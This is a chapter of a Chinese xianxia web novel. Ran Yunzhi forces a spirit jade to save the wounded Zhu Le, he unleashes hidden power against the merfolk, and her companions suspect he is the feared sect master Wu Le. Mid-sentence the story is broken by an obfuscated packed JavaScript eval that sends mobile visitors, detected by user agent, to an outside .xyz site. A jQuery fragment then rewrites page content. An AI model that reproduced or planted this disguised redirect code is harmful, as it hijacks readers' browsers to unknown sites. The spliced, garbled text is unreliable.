海水变成如血一般妖艳的红色,仿佛四周皆被烛乐的血染上了鲜红,阵中他的眼神逐渐变得涣散空洞。
四角已经站上鲛人,晦涩难懂的符号开始浮现,其中一角已经亮了。
身旁的云霁剑用尽灵力,缺少主人灵力的维持,很快便成为一把普通的剑落到地上。
但这些,冉云祉已经不关心了。此刻她正与灵泉玉拉扯。
“我说了,救他!不惜任何代价!”
在她疯狂驱动灵泉玉的时候,它像是有了生命般,对冉云祉的呼唤作出了回应。
“我借你我的能量,你回我同样的报酬,这是我们之间无形的约定。”灵泉玉的声音如她温润的外表,如同一位妙龄女子,清澈柔软。
“我很喜欢你的灵魂,很漂亮。如今我已经收取了报酬,如果你现在还想借助我的能量,你可知接下来自己会怎样?”
她没有丝毫迟疑,坚定地重复:“我要救他!”
灵泉玉顿了一下,继续劝道:“高热,身体机能退化……烧到神志全无,直至死去,你也依旧坚持?”
“不要再问了,我要救他!”她几乎是声嘶力竭般地喊出来,声音透出了一丝决绝,“如果这次他因我而死,那神物存在的意义是什么?你应该知道我本就不属于这个世界,哪怕我因此消失,我也不过是回到自己的世界去,可是他死掉了就是真正消失了。”
说了这么多不就是它有CD么?强制灵泉玉启动自己必遭反噬,她不惧,眼下这种情况,被鲛人捉住也是死路一条。
灵泉玉沉默片刻,片刻后沉吟道:“真不知道我选择你是对是错,若你非要如此……我不再拦你,希望我还有再次见到你的机会。”
声音散去,她重回现实,原本退却色泽的灵泉玉重新散发出暖玉色的光芒,甚至比刚才还要强烈百倍。
“我给你用灵泉玉疗伤,你撑着点。”她紧紧握住了灵泉玉,闭上眼准备默念,原本在她肩头急促喘息的少年不知从哪里来的力气,竟然将她推开了。
他的眼眸半垂,眼里神采全无,右手紧紧扣住自己的左手腕,语气是她从未听过的冷冽:“我不要你救我,我不会死的。”
他在神智昏茫之际似乎听到了有人在说话,什么烧到身体机能退化神志全无或者死去离开这个世界,他一个都不允许。
是自己用血肉之躯为她挡下刺过来的长戟,他付出了这么大的代价,她凭什么轻易地说死就死,说离开就离开?她必须在这里,做好一个血包该有的觉悟,这辈子都必须记得这份恩情。
借着隐身符的作用,他与她拉开一段距离,不让她碰到自己,身影埋入血色里。
一个普通人类流这么多血,多半活不成了。可他不是一般人,只要刺中的不是心脏,他仍旧能活下来。
不过是忍受疼痛而已,算得了什么?
“烛乐,听话!”怀抱一空,再也寻不见,海草又不死不休的缠了上来,几下就缠上了她的脚踝。
在她周边突然升起几面琉璃光墙,被骚扰半天的鲛人终于磕磕绊绊的完成了阵法最后一道程序。
烛乐瞳孔剧烈的一颤,见她的身影被困在阵中,连忙伸手去卡住最后一道将要合起来的琉璃门。
“阿祉!”
他的眉毛紧紧皱起,仿佛根本感觉不到疼痛一样,手被两面墙之间夹的红肿也不收手。
再等一会,等他变回无乐,这些人根本不在话下,动动手指就能解决的……
他这么想着,一双手准确无误地捧起他的手,声音里满是着急与心疼:“你会把手夹断的,你疯了!”
没错,他就是疯了,疯了又怎样,有谁在乎呢?
他猛然咳出一口血,捂住疼到快要炸裂的胸口。
不该是这样,究竟是哪里出了差错?怎么就会变成这样了?他说了不会死,为什么非要这么愚蠢去送死?
不能让她治疗,不能让她死。他抽回手,最后一道琉璃墙合上,他被隔绝在光墙之外。
他的思绪混乱,目光阴狠地盯着琉璃墙,喃喃自语。
等我,灵泉玉不能落在鲛人族群手里,他们不配。
原本不想轻易地在她面前露出无乐的模样,只要他一露出来无乐的灵力,冉云清和戴苍便会察觉,找到自己的地点,他隐瞒了这么久,不能在这里失败。
但他什么都顾不上了,哪怕被发现又怎样?心头坚守的东西一寸寸崩裂的时候,他只觉得惶恐不安。
这辈子你都要欠着我,不管我是谁,哪怕我死你都要陪着我。
他抬起头,眼神中浓重的癫狂恨意几乎烧光了他所有的理智。
他在无尽的黑暗中瑀瑀独行,彷徨了近百年漫长的时光。
而后见到一点点光亮,在他身上洒下一点点零零散散的月光,就再也无法放手。
那群鲛人似乎打定了主意要至他们于死地,几步便将琉璃墙围了个彻底,长老眸中见大局已定,笑容张狂。
“灵泉玉是我的了。”他疯狂的狞笑,笑声在海底激起千层浪,无数弱小的精怪避之不及。
“不准碰她!”
空旷的海底传来少年低沉冰冷的声音,话语里却暗藏着无法遮掩的杀意,如同寒冰一样让在场的鲛人心生寒意。
他一直用右手两指在自己的手腕处狠狠地按压,将一直封存的灵力释放,此刻寒意从手腕蔓延至全身。
一道寒芒挥出,将围拢上来的鲛人削去一只手臂,那些蠕动的海蛇见了他纷纷退避三舍。
血已经不再流了,他也不再需要隐身符的作用。
出现在鲛人面前的,是个衣白如雪的少年,可他纯白的衣服粘上了大片的血色,如同一朵绽放的妖花,让他整个人像妖物一般摄人心魄。
他的眼底,是无法让人忽视的诡异幽光。
原本温暖的海水温度骤然降至冰点,仿佛能把人的血液凝固般严寒。
“你们想怎么死?”他站在琉璃墙面前,嘴角勾起一抹残忍的弧度,声音听起来愉悦无比,可里面却没有一丝笑意。
*
“无乐门主出现在烈海了。”
冉云清低头看了一眼系统的提示,神色微变,止住脚步。
他已经许久不曾出现了,正在一行人以为无乐门主暂时对他们失去兴趣,却在烈海变幻裂隙开合的时候来到了这里。
她是从系统那里得知烈海是鲛人泪所在,从清云山庄出来也是秘密出行,但无乐是如何得知?
只是看这方位离他们很远,貌似是更深的海底之处,那位置也不像血蟾蜍指给她的深海裂隙……
她突然抬头问江遗,心中一惊:“阿祉进入烈海了?”
江遗听到冉云祉的名字有些诧异,还想遮掩一二:“谁知道那丫头去哪里了……”
“阿祉有危险!”她眼神慌乱,可如今却是两难的境地,他们已经走到了这里,尽管还没有找到裂隙的入口,已经很近了,在这个节骨眼上放弃无异于功亏一篑。
如果不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806963|150747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
管阿祉,万一她出了什么事……
戴苍按住她的肩膀,看着她的眼睛轻声安慰:“二小姐古灵精怪,做事虽然莽撞,但她不会做没有把握的事。”
“是啊,我还给了她符纸保命。”江遗仿佛也在安慰自己,“她不会傻到跟那些鲛人来硬的,就算真的被发现,还有一个替身符能保护她。”
话音刚落,他自知失言,烦躁地跺了几下脚。
可他们并不知道阿祉若是遇上的是无乐的话……他的残忍,远比鲛人可怕得多。毕竟他一直想对阿祉下手。
冉云清无法解释,面露担忧。
戴苍静静地看了她一眼,仿佛得知她所想般问道:“是不是无乐门主出现了?”
“无乐门主……”江遗听到也是一惊,仅是这个名号便能让这个初出茅庐的少年郎心惊胆战,“你说她遇上了无乐门主……那个魔头……那丫头怎么会惹上他?”
没有人回答他的问题,两人的视线对视相望,在彼此的脸上看到惊疑与猜测。
他靠近她的耳边低声问道:“师妹,你是不是在猜,烛乐就是无乐?”
一记惊雷在她耳边绽开,将她一直以来的猜测讲出来。
烛乐确实有很多古怪之处,先是莫名其妙出现在阿祉身边,无乐门追杀他们的时候,又是烛乐陪在阿祉身边,最后也是他背着阿祉回来,将解药带了回来。
本来想将他留在清云山庄,可他仅用一盘糕点轻轻松松让阿祉改变了主意,在烈海变幻之时,又是他将阿祉支开……
没有人见过无乐门主的真容,他是少年模样也不奇怪。
但可能吗?
如果烛乐真的是无乐,他的目标是神物才对,怎么可能留给阿祉一条生路,还尽心尽力地照顾她,一路上任劳任怨,这不是无乐门主的性格。
“你说过他没有功力和法术……”她小声反驳着,似乎在说服自己,更重要的是,如果这个事实是真的,那阿祉的处境太过危险。
戴苍沉默了一会,缓缓道:“如果他真的是无乐,说不定用了什么功法隐藏自身的能力,这也不是没有可能的。”
所以系统才找不到他的踪影?
“那他为什么不杀掉阿祉?而且他根本没必要隐藏身份,为什么对阿祉那么好,他到底想干什么……”
“谁想干什么?”江遗凑过来加入他们的对话。他并没有听到前面的话,只是听到了后半句,随口说道,“谁会对那种蛮不讲理的丫头好,是不是傻?”
他突然不说话了,站在那里呆呆地望着两人,半晌,青涩的脸上突然泛上了一抹可疑的红晕。
“江公子,你脸红什么?”
“我得回去。”他一副想通了什么的样子,心中涌上压抑不住的喜悦,“今天若不是冉姑娘救我,我已经化为了血水,无双盟弟子知恩图报,冉姑娘担心冉云祉,那我便回去护她周全。”
两人呆呆地看着江遗快步走远,戴苍摸着下巴,恍然大悟:“不愧是无双盟弟子,天真率性,敢爱敢恨。”
“你是说他喜欢上阿祉了?”冉云清疑惑道。
“应该是有了好感吧,毕竟,保命的符纸都给二小姐了。总之他对二小姐没恶意。”戴苍耸耸肩,喃喃道:“年轻人的喜欢很纯粹,这样也好,有江公子在,你我也能安心寻找鲛人泪。”
他往前走了几步,看冉云清还站在原地,旋即用一只手摸摸她的头,一脸明媚,“别担心了,知道这些,我倒想看看,烛乐对此是什么反应呢。”